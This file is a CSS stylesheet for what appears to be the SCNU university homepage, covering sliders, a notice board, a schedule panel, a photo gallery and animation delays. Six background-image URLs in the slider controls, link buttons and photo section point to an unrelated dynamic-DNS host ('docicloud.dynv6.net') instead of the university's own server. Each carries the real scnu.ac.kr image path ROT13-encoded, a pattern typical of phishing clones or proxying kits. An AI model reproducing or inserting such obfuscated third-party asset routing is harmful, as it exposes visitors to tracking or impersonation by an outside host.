/* slick slide common */
.slick-slider { -webkit-transition: all ease-in-out .3s; transition: all ease-in-out 0.3s; -webkit-box-sizing: border-box; box-sizing: border-box; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; -webkit-touch-callout: none; -khtml-user-select: none; -ms-touch-action: pan-y; touch-action: pan-y; -webkit-tap-highlight-color: transparent; }
.slick-slide { display: none; height: 100%; min-height: 1px; vertical-align: middle; }
.slick-list { overflow: hidden; }
.slick-list.dragging { cursor: pointer; }
.slick-initialized .slick-slide { display: inline-block; }
.slick-arrow.slick-hidden { display: none; }
.slick-current { opacity: 1; display: block; }
.slick-track { position: relative; left: 0; top: 0; display: block; margin-left: auto; margin-right: auto; }
/* slick arrow show */
.arwShow .slick-arrow.slick-hidden { display: inline-block; }

#container *{ scrollbar-arrow-color: #ddd; scrollbar-Track-Color: #ddd; scrollbar-base-color: #aaa; scrollbar-Face-Color: #aaa; scrollbar-3dLight-Color: #aaa; scrollbar-DarkShadow-Color: #aaa; scrollbar-Highlight-Color: #aaa; scrollbar-Shadow-Color: #aaa;}
#container ::-webkit-scrollbar { width: 5px; }
#container ::-webkit-scrollbar-thumb { background-color: #aaa; border-radius:10px; }
#container ::-webkit-scrollbar-track { background-color: #ddd; border-radius:10px; }
 
/* CSS Document */
[class*="-mdm"] {transition-duration: 0.6s !important;}
[class*="-slw"] {transition-duration: 0.9s !important;}
[class*="mot"] {opacity: 0; transition: 0.3s ease-in-out;}
[class*="moTn"] {opacity: 0; transition: 0.3s ease-in-out;}
[class*="-left"] {transform: translateX(-10%);}
[class*="-left-Act"] {transform: translateX(-50%);}
[class*="-right"] {transform: translateX(10%);}
[class*="-right-Act"] {transform: translateX(50%);}
[class*="-rotate_R"] { transform: rotate(180deg); transition: 0.5s; }
[class*="-top"] {transform: translateY(-10%);}
[class*="-bottom"] {transform: translateY(10%);}
[class*="-bottom_Act"] {transform: translateY(50%);}
[class*="-big"] {transform: scale(0);}
[class*="ovhBox"] {display: block; overflow: hidden;}
[class*="ovhBox"] > img {transform: translateY(100%); transition: 0.3s ease-in-out;}
[class*="ovhBox"][class*="-mdm"] > img {transition-duration: 0.6s !important;}
[class*="ovhBox"][class*="-slw"] > img {transition-duration: 0.9s !important;}
[class*="ovhBox"].lToR > img {transform: translateX(-100%);}
[class*="sclX"] {display: block; width: 0; height: 100%; position: absolute; top: 0; transition: 0.3s ease-in-out;}
[class*="sclX"].lToR {left: 0;}
[class*="sclX"].rToL {right: 0;}

/* CSS Document active */
.start .active [class*="mot"] {opacity:1;}
.start .active [class*="moTn"] {opacity:1;}
.start .active [class*="mot1"] {-webkit-transition-delay:0.3s; -ms-transition-delay:0.3s; transition-delay:0.3s;}
.start .active [class*="mot1_5"] {-webkit-transition-delay:0.4s; -ms-transition-delay:0.4s; transition-delay:0.4s;}
.start .active [class*="mot2"] {-webkit-transition-delay:0.5s; -ms-transition-delay:0.5s; transition-delay:0.5s;}
.start .active [class*="mot2_5"] {-webkit-transition-delay:0.6s; -ms-transition-delay:0.6s; transition-delay:0.6s;}
.start .active [class*="mot3"] {-webkit-transition-delay:0.7s; -ms-transition-delay:0.7s; transition-delay:0.7s;}
.start .active [class*="mot3_5"] {-webkit-transition-delay:0.8s; -ms-transition-delay:0.8s; transition-delay:0.8s;}
.start .active [class*="mot4"] {-webkit-transition-delay:0.9s; -ms-transition-delay:0.9s; transition-delay:0.9s;}
.start .active [class*="mot4_5"] {-webkit-transition-delay:1s; -ms-transition-delay:1s; transition-delay:1s;}
.start .active [class*="mot5"] {-webkit-transition-delay:1.1s; -ms-transition-delay:1.1s; transition-delay:1.1s;}
.start .active [class*="mot5_5"] {-webkit-transition-delay:1.2s; -ms-transition-delay:1.2s; transition-delay:1.2s;}
.start .active [class*="mot6"] {-webkit-transition-delay:1.3s; -ms-transition-delay:1.3s; transition-delay:1.3s;}
.start .active [class*="mot6_5"] {-webkit-transition-delay:1.4s; -ms-transition-delay:1.4s; transition-delay:1.4s;}
.start .active [class*="mot7"] {-webkit-transition-delay:1.5s; -ms-transition-delay:1.5s; transition-delay:1.5s;}
.start .active [class*="mot8"] {-webkit-transition-delay:1.7s; -ms-transition-delay:1.7s; transition-delay:1.7s;}
.start .active [class*="mot9"] {-webkit-transition-delay:1.9s; -ms-transition-delay:1.9s; transition-delay:1.9s;}
.start .active [class*="moTn10"] {-webkit-transition-delay:2s; -ms-transition-delay:2s; transition-delay:2s;}
.start .active [class*="moTn11"] {-webkit-transition-delay:2.1s; -ms-transition-delay:2.1s; transition-delay:2.1s;}
.start .active [class*="moTn12"] {-webkit-transition-delay:2.2s; -ms-transition-delay:2.2s; transition-delay:2.2s;}
.start .active [class*="moTn13"] {-webkit-transition-delay:2.3s; -ms-transition-delay:2.3s; transition-delay:2.3s;}
.start .active [class*="moTn14"] {-webkit-transition-delay:2.4s; -ms-transition-delay:2.4s; transition-delay:2.4s;}
.start .active [class*="moTn15"] {-webkit-transition-delay:2.5s; -ms-transition-delay:2.5s; transition-delay:2.5s;}
.start .active [class*="moTn16"] {-webkit-transition-delay:2.6s; -ms-transition-delay:2.6s; transition-delay:2.6s;}
.start .active [class*="moTn17"] {-webkit-transition-delay:2.7s; -ms-transition-delay:2.7s; transition-delay:2.7s;}
.start .active [class*="moTn18"] {-webkit-transition-delay:2.8s; -ms-transition-delay:2.8s; transition-delay:2.8s;}
.start .active [class*="moTn19"] {-webkit-transition-delay:2.9s; -ms-transition-delay:2.9s; transition-delay:2.9s;}
.start .active [class*="moTn20"] {-webkit-transition-delay:3s; -ms-transition-delay:3s; transition-delay:3s;}
.start .active [class*="moTn21"] {-webkit-transition-delay:3.2s; -ms-transition-delay:3.2s; transition-delay:3.2s;}
.start .active [class*="-left"] {-webkit-transform:translateX(0px); -ms-transform:translateX(0px); transform:translateX(0px);}
.start .active [class*="-right"] {-webkit-transform:translateX(0px); -ms-transform:translateX(0px); transform:translateX(0px);}
.start .active [class*="-rotate_R"] { -ms-transform: rotate(0) translateX(0); -webkit-transform: rotate(0) translateX(0); transform: rotate(0) translateX(0); }
.start .active [class*="-top"] {-webkit-transform:translateY(0px); -ms-transform:translateY(0px); transform:translateY(0px);}
.start .active [class*="-bottom"] {-webkit-transform:translateY(0px); -ms-transform:translateY(0px); transform:translateY(0px);}
.start .active [class*="-bottom2"] {-webkit-transform:translateY(-50%); -ms-transform:translateY(-50%); transform:translateY(-50%);}
.start .active [class*="-big"] {-webkit-transform:scale(1); -ms-transform:scale(1); transform:scale(1); }
.start .mtBox.start .active [class*="mot"][class$="-left"] {transform: translateX(0px);-webkit-transform: translateX(0px);}
.start .active [class*="mot"][class$="-ball"]{transform:scale(1); -webkit-transform:scale(1); }
.start .active [class*="mot"][class$="-blur"]{animation: blurImg 1s 0.3s; animation-fill-mode: both;}

/* common */
nav{ z-index: 99;}
.btnTop{ z-index: 100;}
section{ background:#fff;} 

.container { position: relative; max-width: 90rem; margin: 0 auto;}  
.titWrap h2 { font-size: 2.5rem; font-weight: 800; color: #010101; display: inline-block;}
.titWrap h2 em { color: #d8d8d8; }
.titWrap > span { display: inline-block; color: #707070; font-size: 1rem; margin-left: 1rem; }
.titWrap > span em { color: #000; padding-right: 0.3rem; font-weight: 700; }
.btn_more { display: flex; position: absolute; top: 0; right: 0;}
.btn_more > span { display: inline-block; line-height: 2rem; padding: 0 1.2rem; border: 1px solid #000; font-size: 0.9rem; color: #555;}
.btn_more i { display: inline-block; line-height: 2rem; font-size: 1.1rem; color: #000;border: 1px solid #000; border-left: none; width: 2rem; text-align: center; transition: all 0.2s;}
.btn_more:hover i { color: #fff; background: #000;}

/* header */
.container .header { animation: headMove 0.5s 1s forwards; position: fixed; width: 100%; left: 0; top: -10%; opacity: 0; z-index: 999; }
.container .header img{position: relative; left: 50%; transform: translateX(-50%); display: block;}
.container .header.noBg{ background:transparent; box-shadow:none;}
.container .header img{display: block; width: auto; margin: 0 auto; text-align: center;}

@keyframes headMove {
  0%{top: -10%; opacity: 0;}
  100%{top: 0; opacity: 1;}
}


/* section01 */
.section01{ height: 100vh; width: 100%; position: relative; padding-top: 3.5rem;}
.section01.frozen .visual{ animation-play-state: paused; }
.visual{ height: 100%; position: relative; clip-path: polygon(0 0, 100% 0, 100% 0, 100% 100%, 100% 100%, 0 100%, 0 100%, 0 0); transition: 0.5s 1s;}
.visual.action{animation: polygon 15s 1.5s forwards; clip-path: polygon(20% 0, 75% 0, 100% 17%, 100% 81%, 58% 100%, 0 100%, 0 100%, 0 24%);}

.visual .video{ animation: vsOpacity 1s; height: 100%; } 
.visual .video video{width: 100%;height: 135%;background: #000;object-fit: cover;top: -10rem;position: relative;}
.visual .slider{ animation: vsOpacity 1s; position: relative; height: 100%; left: 50%; transform: translateX(-50%);}
.visual .slick-list,
.visual .slick-track{ height: 100%;}
@keyframes vsOpacity {
  0%{opacity: 0; }
  100%{opacity: 1;}
}

.visual .slider .item{ position: relative; height: 100%; }
.visual .slider .item img{height: 100%; width:  100%; object-fit: cover;}
.visual .slider .item .txtWrap{ animation: vsTxt 1s; position: absolute; left: 50%; top: 50%; transform: translate(-50%, -40%); text-align: center; color: #fff; z-index: 1; transition: 0.5s; opacity: 0;}

@keyframes vsTxt {
  0%{opacity: 0; top: 60%; }
  100%{opacity: 1; top: 50%;}
}

.visual .slider .item .txtWrap::before{content: ''; display: block; position: absolute; width: 100%; height: 100%; background: #000; filter: blur(5rem); z-index: -1;}
.visual .slider .item .txtWrap .tit{font-size: 5rem; font-weight: 600;}
.visual .slider .item .txtWrap .txt{font-size: 1.8rem;}
.visual .slider .item .txtWrap .txt em{font-weight: 600;}
.visual .slider .item.slick-current .txtWrap{transform: translate(-50%, -50%); opacity: 1; transition-delay: 0.3s;}

.visual .control{position: absolute; left: calc(50% - 45rem); bottom: 4rem; color: #fff; z-index: 10; display: flex; align-items: center;}
.visual .control .prev,
.visual .control .next{font-size: 2.5rem;}
.visual .control .play,
.visual .control .stop{width: 2.5rem; height: 3rem; line-height: 3rem; text-align: center; font-size: 1.5rem; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Sot_6.cat) no-repeat center center / contain;}
.visual .control .play{display: none; }
.visual .control .page {margin-left: 0.3rem;}
.visual .control .page ul{display: flex; align-items: center;}
.visual .control .page ul li{opacity: 0.4;}
.visual .control .page ul li ~ li{margin-left: 0.3rem;}
.visual .control .page ul li.slick-active{ opacity: 1;}
.visual .control .page ul li button{ display: block; width: 1.1rem; height: 1.25rem; font-size: 0; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Sot_6_2.cat) no-repeat center center / 100% 100%;  }

.moreScroll{ position: absolute; width: 100%; bottom: 5rem; z-index: 9; color: #fff; text-align: center;}
.moreScroll p{ font-size: 1rem; font-weight: 600;}
.moreScroll .deco{ animation: scroll 2s 2s infinite; font-size: 1.5rem; display: block; margin: 0 auto;}
@keyframes scroll{
  0%{opacity: 1; transform: translateY(0);}
  100%{opacity: 0; transform: translateY(1rem);}
}

@keyframes polygon {   
  0%{
    clip-path: polygon(20% 0, 75% 0, 100% 17%, 100% 81%, 58% 100%, 0 100%, 0 100%, 0 24%);
  }
  10%{
    clip-path: polygon(20% 0, 75% 0, 100% 17%, 100% 81%, 58% 100%, 0 100%, 0 100%, 0 24%);
  }
  25%{
    clip-path: polygon(28% 0, 55% 0, 100% 10%, 100% 64%, 57% 100%, 24% 100%, 0 95%, 0 13%);
  }
  50% {
    clip-path: polygon(34% 0, 84% 0, 100% 34%, 100% 100%, 100% 100%, 39% 100%, 0 97%, 0 30%);
  }
  75%{
    clip-path: polygon(23% 0, 74% 0, 100% 19%, 100% 83%, 76% 100%, 26% 100%, 0 85%, 0 24%);
  }
  100%{
    clip-path: polygon(20% 0, 75% 0, 100% 17%, 100% 81%, 58% 100%, 0 100%, 0 100%, 0 24%);
  }
}


/* section02 */
.section02{}
.link01{ position: relative; height: 296px; text-align: center; color: #fff; display: flex; flex-direction: column; align-items: center; justify-content: center; }
.link01::before{ width: 0; content:''; display: block; height: 100%; position: absolute; left: 50%; top: 0; bottom: 0; transform: translateX(-50%); background: linear-gradient(75deg, #e74611, #d61b5d, #8c0d86, #ec234c, #e74611 ); z-index: -1; transition: 0.7s;}
.active .link01::before{width: 100%; }

.link01 .tit{font-family: 'Montserrat'; font-size: 1.9rem; font-weight: 500; margin-bottom: 1rem; }
.link01 .tit em{font-weight: 700;}
.link01 .txt{font-size: 1rem; font-weight: 400; margin-bottom: 1.5rem;}
.link01 ul{display: block; display: flex; align-items: center;}
.link01 ul li{width: 353px; text-align: center; position: relative; font-size: 1.3rem; font-weight: 600;}
.link01 ul li a { display: inline-block; position: relative;}
.link01 ul li a::before { content: ""; display: block; width: 0; height: 1px; background: rgba(255,255,255,0.4); position: absolute; bottom: 2px; left: 0; transition: all 0.15s;}
.link01 ul li a::after { content: "\ea6e"; font-family: 'remixicon'; font-size: 1.5rem; display: block; padding-left: 0.3rem; font-weight: 300; line-height: 1; opacity: 0; transition: all 0.15s; position: absolute; top: 50%; right: -1.5rem; transform: translateY(-50%);}
.link01 ul li::before{content: ''; display: block; position: absolute; left: 0; top: 50%; transform: translate(-50%, -50%) rotate(45deg); width: 1px; height: 1.3rem; background: #e196bd;}
.link01 ul li:last-child::after{content: ''; display: block; position: absolute; right: 0; top: 50%; transform: translate(-50%, -50%) rotate(45deg); width: 1px; height: 1.3rem; background: #e196bd;}
.link01 .btn_more2 {position: absolute; top: 2rem; left: calc(50% + 37rem); background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Soga_zber01.cat) no-repeat center / contain; width: 5.3rem; height: 5.5rem; display: flex; color: #fff; font-size: 1rem; justify-content: center; align-items: center;}

.link01 ul li a:hover::after,
.link01 ul li a:focus::after { opacity: 1;}
.link01 ul li a:hover::before,
.link01 ul li a:focus::before { width: 100%;}

/* section03 */
.notice{max-width: 96rem; margin: 0 auto; position: relative; padding: 4rem 3rem 0;}
.notice::before{content: ''; display: block; position: absolute; left: 0; top: 0; width: 1px; height: 0; transition: 2s; background: #000; z-index: 1;} 
.notice::after{content: ''; display: block; position: absolute; right: 0; top: 0; width: 1px; height: 0; transition: 2s; background: #000; z-index: 1;} 
.active .notice::before{height: 100%; transition-delay: 1.5s;}
.active .notice::after{height: 100%; transition-delay: 1.5s;}

.notice .titWrap{ margin-bottom: 2.5rem;} 
.noticeWrap{ position: relative; display: flex; }
.noticeWrap::after{ content: ''; display: block; position: absolute; height: 1px; width: 100%; bottom: -1px; left: 0; right: 0; background: #000; z-index: 2;} 
.noticeBox { width: 49.5%;}
.noticeBox + .noticeBox { margin-left: 1%;}
.notice01{flex-shrink: 0;}
.notice01 > li{padding-bottom: 1rem; border-bottom: 1px solid #000;}
.notice01 > li:nth-child(n+3) { display: none;} 
.notice01 > li ~ li{padding-top: 2rem;}
.notice01 a{transition: 0.15s; display: block;}
.notice01 .img{ width: 100%; height: 28.5rem; overflow: hidden; background: rgba(0,0,0,0.2); position: relative; }
.notice01 .img img{position:absolute;top:0;left:0;width:100%;height:100%;object-fit:cover; transition: all 0.2s;} 
.notice01 .img em { display: block; width: 7.5rem; line-height: 2.75rem; color: #fff; background: rgba(0,0,0,0.8); font-size: 1rem; font-weight: 500; text-align: center; position: absolute; left: 0; bottom: 0;}
.notice01 .tit{font-size: 1.4rem; font-weight: 600; letter-spacing: -0.5px; margin-top: 1.6rem; margin-bottom: 1.4rem;}
.notice01 .txt{font-size: 0.9rem; line-height: 1.5rem; margin-bottom: 1rem;}
.notice01 .date{color: #707070; line-height: 1;}

.notice01 a:hover {color: #0043b2;}
.notice01 a:hover .img img,
.notice01 a:focus .img img,
.notice02 a:hover .img img,
.notice02 a:focus .img img{transform: scale(1.1);}

.notice02::before { content: ''; display: block; clear: both;}
.notice02 li { width: 48.5%; float: left;}
.notice02 li:nth-child(2n) { margin-left: 3%;}
.notice02 li:nth-child(n+3) { margin-top: 1.5rem;}
.notice02 li a { display: block; border-bottom: 1px solid #000;}
.notice02 li:nth-child(n+7) a { border-bottom: none;}
.notice02 li:nth-child(n+9) a { display: none;}
.notice02 li a .img { width: 100%; height: 14.25rem; overflow: hidden; background: rgba(0,0,0,0.2); margin-bottom: 0.75rem; position:relative;}
.notice02 li a .img img{position:absolute;top:0;left:0;width:100%;height:100%;object-fit:cover; transition: all 0.2s;} 
.notice02 li a > span { font-size: 0.9rem; color: #707070;}
.notice02 li a > span em { position: relative; display: inline-block; color: #0460d9; padding-right: 0.8rem; margin-right: 0.4rem; font-weight: 500;}
.notice02 li a > span em::before { content: ''; display: block; width: 5px; height: 5px; border-radius: 50%; background: #d6d6d6; position: absolute; right: 0; top: calc(50% - 2.5px);}
.notice02 li a > p.tit { font-size: 1rem; color: #222; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; margin: 0.5rem 0 0.6rem; font-weight: 500;}
.notice02 li a > p.date { font-size: 0.8rem; color: #707070; margin-bottom: 1.35rem;}

.notice01 li a .noImg,
.notice02 li a .noImg { background-color: #f5f5f5; }
.notice01 li a .noImg img,
.notice02 li a .noImg img{ display: none;}
.notice01 li a .noImg::before,
.notice02 li a .noImg::before { content: 'SCNU'; font-size: 2.2rem; font-weight: 900; color:#e4e3e3 ; position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%);}

.link02 {padding: 2.3rem 1.85rem;}
.link02 ul{display: flex; width: 100%; margin: 0 -0.8rem;}
.link02 ul li{ margin: 0 0.8rem; flex: 1; height: 4.45rem; border: 1px solid #000; font-size: 1.1rem; font-weight: 500; transition: 0.15s; cursor: pointer;}
.link02 ul li a { display: flex; align-items: center; justify-content: center; height:100%;}
.link02 ul li i{font-size: 1.5rem; margin-right: 0.25rem; font-weight: 400;} 
.link02 ul li img{filter: brightness(0); display: block; margin: 0.25rem 0.25rem 0 0; transition: 0.15s;}
.link02 ul li:hover,
.link02.on ul li:first-child{background: #262626; color: #fff;}
.link02 ul li:hover img,
.link02.on ul li:first-child img{filter: brightness(1);}


/* section04 */
.section04 .container{ display: flex; justify-content: space-between; margin-top: 3.5rem;} 
.latest .titWrap > span,
.sche .titWrap > span { display: block; margin-left: 0; margin-top: 0.8rem; }

.latest{ position: relative; width: 48.3%;} 
.latest .titTab ul{display: flex; align-items: center; margin-top: 1.3rem;}
.latest .titTab ul li{font-size: 1rem;}
.latest .titTab ul li ~ li{margin-left: 1.2rem;}
.latest .titTab ul li a{ position: relative; display: flex; align-items: center; justify-content: center; line-height: 1; color: #555; transition: 0.15s;}
.latest .titTab ul li a::before { content: ''; display: block; width: 0; height: 1px; background: #000; position: absolute; top: -0.3rem; left: 0; transition: all 0.2s ease-in-out;}
.latest .tabWrap{height: 20rem;}
.latest .list_box{display: none; height: 100%; margin-top: 3.3rem;}
.latest .list_box ul{display: flex; justify-content: flex-start; align-items: flex-start; margin: 0 -0.65rem; height: 100%; flex-wrap: wrap; width: calc(100% + 3.3rem); }
.latest .list_box ul li{width: 31.5%; padding: 0 0.65rem; height: 9.25rem; } 
.latest .list_box ul li:nth-child(n+7){display: none;}
.latest .list_box ul li a{ position: relative; display: block; width: 100%; height: 100%; transition: 0.15s;}
.latest .list_box ul li:nth-child(1) a::after, 
.latest .list_box ul li:nth-child(3) a::after,
.latest .list_box ul li:nth-child(4) a::after,
.latest .list_box ul li:nth-child(6) a::after { content: ''; display: block; height: 1px; background: #000; position: absolute; left: 0;}
.latest .list_box ul li:nth-child(1) a::after {width: 300%; left: -200%; top: -2rem;}
.latest .list_box ul li:nth-child(3) a::after { width: calc(100% + 3.1rem); left: 0; top: -2rem;}
.latest .list_box ul li:nth-child(4) a::after {width: 300%; left: -200%; bottom: -2rem;}
.latest .list_box ul li:nth-child(6) a::after { width: calc(100% + 3.1rem); left: 0; bottom: -2rem;}
.latest .list_box ul li:nth-child(2) a::after, 
.latest .list_box ul li:nth-child(5) a::after { content: ''; display: block; width: 100%; height: 1px; background: #000; position: absolute; left: 0; } 
.latest .list_box ul li:nth-child(2) a::after { top: -2rem;}
.latest .list_box ul li:nth-child(5) a::after { bottom: -2rem;}
.latest .list_box ul li a > em { display: inline-block; line-height: 1.5rem; border-radius: 1rem; background: #efefef; padding: 0 1rem; color: #444; font-size: 0.7rem;} 
.latest .list_box ul li a .tit{ display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 3; overflow: hidden; height: 4.3rem; font-size: 1rem; font-weight: 600; transition: 0.15s; font-size: 1rem; color: #222; line-height: 1.5rem; margin: 0.75rem 0 1.35rem;} 
.latest .list_box ul li a .date{font-size: 0.8rem; color: #707070;}  
.latest .btn_more { top: 5rem;}
/* latest : no_data */
.latest .list_box .no_data{ position: relative; display: flex; align-items: center; justify-content: center; height: 100%;}
.latest .list_box .no_data::before,
.latest .list_box .no_data::after { content: ''; display: block; width: 300%; background: #000; position: absolute; height: 1px;right: -2.5rem;}
.latest .list_box .no_data::before { top: -2rem;}
.latest .list_box .no_data::after { bottom: -1.2rem;}
/* latest : new */
.latest .list_box ul li a.new::before{content: 'N'; font-size: 0.9rem; color: #010101; display: inline-flex; align-items: center; justify-content: center; width: 1.5rem; height: 1.5rem; border-radius: 50%; border: 1px solid #010101; vertical-align: bottom; position: absolute; top: 0; right:0; font-weight: 900;}
/* latest : active */
.latest .titTab ul li a.current{ font-weight: 600; color: #010101;}
.latest .titTab ul li a.current::before { width: 100%;}
.latest .titTab ul li a:hover,
.latest .titTab ul li a:focus{font-weight: 600; color: #010101;}
.latest .list_box.on{display: block;}  
.latest .list_box ul li a:hover .tit,
.latest .list_box ul li a:focus .tit{text-decoration: underline;} 

.sche{position: relative; z-index: 1; width: 49%;}
.sche .titWrap { padding-bottom: 2.1rem; position: relative;}
.sche .contWrap {position: relative;margin-top: 1.5rem;padding: 2.15rem 0 2.1rem 2.5rem;}
.sche .contWrap::before { content: ''; display: block; width: 300%; height: 100%; background: #0460d9; position: absolute; left: 0; top: 0; z-index: -1;}
.sche .control { display: flex; justify-content: space-between;}
.sche .control .date { color: #fff; font-size: 1.2rem; font-weight: 300;}
.sche .control .date span{ font-weight: 600;display: inline-block; margin-right: 0.6rem;}
.sche .control a { display: inline-block; font-size: 1.6rem; color: #fff;}
.sche .control a.prev { position: relative; margin-right: 1.2rem; padding-right: 1.2rem;}
.sche .control a.prev::before { content: ''; display: block; width: 1px; height: 19px; background: #4f90e6; position: absolute; right: 0; top: calc(50% - 9.5px);}
.sche .control a i {transition: all 0.2s;}
.sche .list{ width: 42.6rem; height: 17.1rem; display: flex; flex-wrap: wrap; }
.sche .list .item{width: 50%; margin-top: 1.5rem;}
.sche .list .item a{ position: relative; width: 19.86rem; height: 7rem; padding: 1.4rem; border: 1px solid #9bbff0; color: #fff; cursor: pointer; transition: 0.15s; display: block;}
.sche .list .item a .date{font-size: 1rem; font-weight: 500;}
.sche .list .item a .tit{font-size: 1.1rem; font-weight: 600; margin-top: 0.5rem; height: 3rem; overflow: hidden;}
.sche .list .item a::after{content: "\ea70"; font-family: 'remixicon'; position: absolute; font-size: 2rem; right: 1.2rem; top: 0.6rem; transition: 0.15s; opacity: 0; }
.sche .btn_more { bottom: 0; top: auto;}
.sche .contWrap .no_data p { line-height: 17.1rem; text-align: center; color: #fff; font-size: 0.9rem;}
.sche .list .item a:hover,
.sche .list .item a:focus,
.sche .list .item a.on{background: #fff; color: #000;} 
.sche .list .item a:hover::after,
.sche .list .item a:focus::after,
.sche .list .item a.on::after{opacity: 1;} 
.sche .control a.prev:hover i,
.sche .control a.prev:focus i { transform: translateX(-5px);}
.sche .control a.next:hover i,
.sche .control a.next:focus i { transform: translateX(5px);}

/* section05 */
.slogan {display: flex; justify-content: flex-end; padding-top: 4rem; padding-bottom: 7.5rem;}
.slogan img{animation: textLoop2 50s linear infinite;}
.slogan img ~ img{margin-left: 2rem;}

@keyframes textLoop2 {
  0% {
      -webkit-transform: translate3d(0, 0, 0);
      transform: translate3d(0, 0, 0);
  }
  100% {
      -webkit-transform: translate3d(100%, 0, 0);
      transform: translate3d(100%, 0, 0);
  }
}


/* section6 */
.photo{ position: relative; color: #fff; background: #111335; padding: 7rem 0 3rem;}
.photo .photoTag {position: absolute; top: -4rem; left: calc(50% - 47rem); width: 11.25rem; height: 11.25rem;}
.photo .photoTag a {display: block; background: linear-gradient(129deg, rgba(234,65,96,1) 0%, rgba(242,33,91,1) 9%, rgba(176,22,174,1) 44%, rgba(185,24,162,1) 70%, rgba(242,33,91,1) 96%, rgba(236,35,76,1) 100%) ;padding: 1.25rem 1.4rem; height: 100%; transition: all 0.2s;}
.photo .photoTag i { font-size: 1.5rem; text-align: right; display: block; transition: all 0.2s;}
.photo .photoTag p { font-size: 1.25rem; font-weight: 700; letter-spacing: 3px; margin: 0.3rem 0;}
.photo .photoTag span { font-size: 0.9rem; line-height: 1.4rem; letter-spacing: 1px;}
.photo .ctrl1{ display: flex; align-items: center; justify-content: space-between; width: 25.2%; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); z-index: 99;}
.photo .ctrl1 a{display: flex; width: 3rem; height: 3rem; border: 1px solid #fff; justify-content: center; align-items: center; border-radius: 50%; font-size: 1.5rem; transition: 0.15s; }
.photo .ctrl1 a:hover{background: #fff; color: #000;}
.photo .ctrl2{display: flex; justify-content: center; align-items: center; margin-top: 0.8rem;}
.photo .ctrl2 a{display: flex; justify-content: center; align-items: center; width: 2.5rem; height: 2.85rem; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Sot_6.cat) no-repeat center center / 100% 100%; margin-left: 1rem;}
.photo .ctrl2 a.play{display: none;}
.photo .ctrl2 .page{ display: flex; align-items: center;}
.photo .ctrl2 .page strong{position: relative; padding: 0 0.5rem;}
.photo .ctrl2 .page strong::before{content: ''; position: absolute; left: 50%; bottom: -0.25rem; width: 0.7rem; height: 1px; background: #fff; transform: translateX(-50%);}
.photo .ctrl2 .page span{position: relative; display: block; padding-left: 2rem;}
.photo .ctrl2 .page span::before{content: ''; position: absolute; top: 50%; transform: translateY(-50%); left: 0; display: block; width: 1.5rem; height: 1px; background: #4f5172;} 
.photo .slider{margin: 0 -11rem;}
.photo .slider .slick-track{ padding: 1.5rem 0;}
.photo .slider .item{ position: relative;}
.photo .slider .item .txtWrap{ transition: 0.5s; padding: 3rem; position: absolute; left: 0; right: 0; top: 0; bottom: 0; display: flex; align-items: center; justify-content: center; text-align: center; flex-direction: column; z-index: 2;}
.photo .slider .item .txtWrap .tit{ text-transform: uppercase; font-family: 'Montserrat'; font-size: 1.5rem; font-weight: 500; line-height: 1.2;}
.photo .slider .item .txtWrap .txt{transition: 0.5s; line-height: 1.4; font-size: 1rem; font-weight: 500;}
.eng .photo .slider .item .txtWrap .txt { display: none;}
.photo .slider .item .txtWrap .txt em{display: block;}
.photo .slider .item .img{ position: relative; width: 100%; padding: 3rem; opacity: 0.5; transition: 0.15s;}
.photo .slider .item .img::before{content: ''; position: absolute; left: 0; top: 0; right: 0; bottom: 0; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Svzt_cubgb_ot.cat) no-repeat center center / 100% 100%; opacity: 0; transition: 0.15s; z-index: 1;}
.photo .slider .item .img img{ display: block; width: 100%; height: auto;} 
.photo .slider .item.slick-current .txtWrap{ top: -1.5rem; justify-content: space-between; text-align: left; align-items: flex-start; padding: 0 0 2rem 2rem; font-weight: 600;}  
.photo .slider .item.slick-current .txtWrap .tit{font-size: 2.1rem;} 
.photo .slider .item.slick-slide span{ display: block; transform: translateY(2rem); opacity: 0;}
.photo .slider .item.slick-slide.slick-active span{transform: translateY(0); opacity: 1;}
.photo .slider .item.slick-slide.slick-current span{transform: translateY(2rem); opacity: 0; animation: titMove 1s 0.5s forwards; font-weight: 700;}

@keyframes titMove {
  0%{transform: translateY(2rem); opacity: 0;}
  100%{transform: translateY(0); opacity: 1;}
  
}

.photo .slider .item.slick-current .txtWrap .txt{font-size: 1.7rem;}
.eng .photo .slider .item.slick-current .txtWrap .txt{font-size: 0.8rem; line-height: 1.2rem;display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 6; height: 7.2rem; word-wrap: break-word; text-overflow: ellipsis; overflow: hidden; padding-right: 1rem;}
.photo .slider .item.slick-current .txtWrap .txt em{font-size: 2rem; font-weight: 800;}
.photo .slider .item.slick-current .img{padding: 0; opacity: 1;}
.photo .slider .item.slick-current .img::before{opacity: 1;} 
.photo .photoTag a:hover i,
.photo .photoTag a:focus i { transform: scale(1.2) translateX(-8px);}

/* 캠퍼스라이프 */
.camLife { width: calc(100% - 20.35rem);}
.camLife h2 { font-size: 1.4rem; font-weight: 600; color: #222;}
.camLife ul { display: flex; border-top: 1px solid #000; border-bottom: 1px solid #000; margin-top: 1.1rem;}
.camLife ul li { width: 25%; }
.camLife ul li + li { border-left: 1px solid #000;}
